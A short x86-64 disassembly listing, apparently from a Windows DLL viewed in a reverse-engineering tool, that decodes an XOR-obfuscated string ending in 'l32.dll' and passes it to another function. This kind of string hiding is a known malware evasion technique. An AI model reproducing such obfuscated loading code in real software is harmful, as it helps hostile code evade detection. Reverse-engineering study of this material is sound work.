mov eax, dword [rbp - 0x40]
add al, 5
xor eax, 0x6c
mov byte [rbp - 0x37], al
mov eax, dword [rbp - 0x40]
add al, 6
xor eax, 0x33
mov byte [rbp - 0x36], al
mov eax, dword [rbp - 0x40]
add al, 7
xor eax, 0x32
mov byte [rbp - 0x35], al
mov eax, dword [rbp - 0x40]
add al, 8
xor eax, 0x2e
mov byte [rbp - 0x34], al
mov eax, dword [rbp - 0x40]
add al, 9
xor eax, 0x64
mov byte [rbp - 0x33], al
mov eax, dword [rbp - 0x40]
add al, 0xa
xor eax, 0x6c
mov byte [rbp - 0x32], al
mov eax, dword [rbp - 0x40]
add al, 0xb
xor eax, 0x6c
mov byte [rbp - 0x31], al
xor eax, eax
mov byte [rbp - 0x30], al
xor edx, edx
mov al, byte [rbp - 0x3c]
movsx eax, byte [rbp + rdx - 0x3c]
mov ecx, dword [rbp - 0x40]
add cl, dl
xor ecx, eax
mov byte [rbp + rdx - 0x3c], cl
inc rdx
cmp rdx, 0xc
jb 0x180002ed2
lea rdx, [rbp - 0x24]
mov byte [rbp - 0x30], 0
lea rcx, [rbp - 0x3c]
call fcn.180002a28
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1800095a0
add rsp, 0x60
pop rbp
ret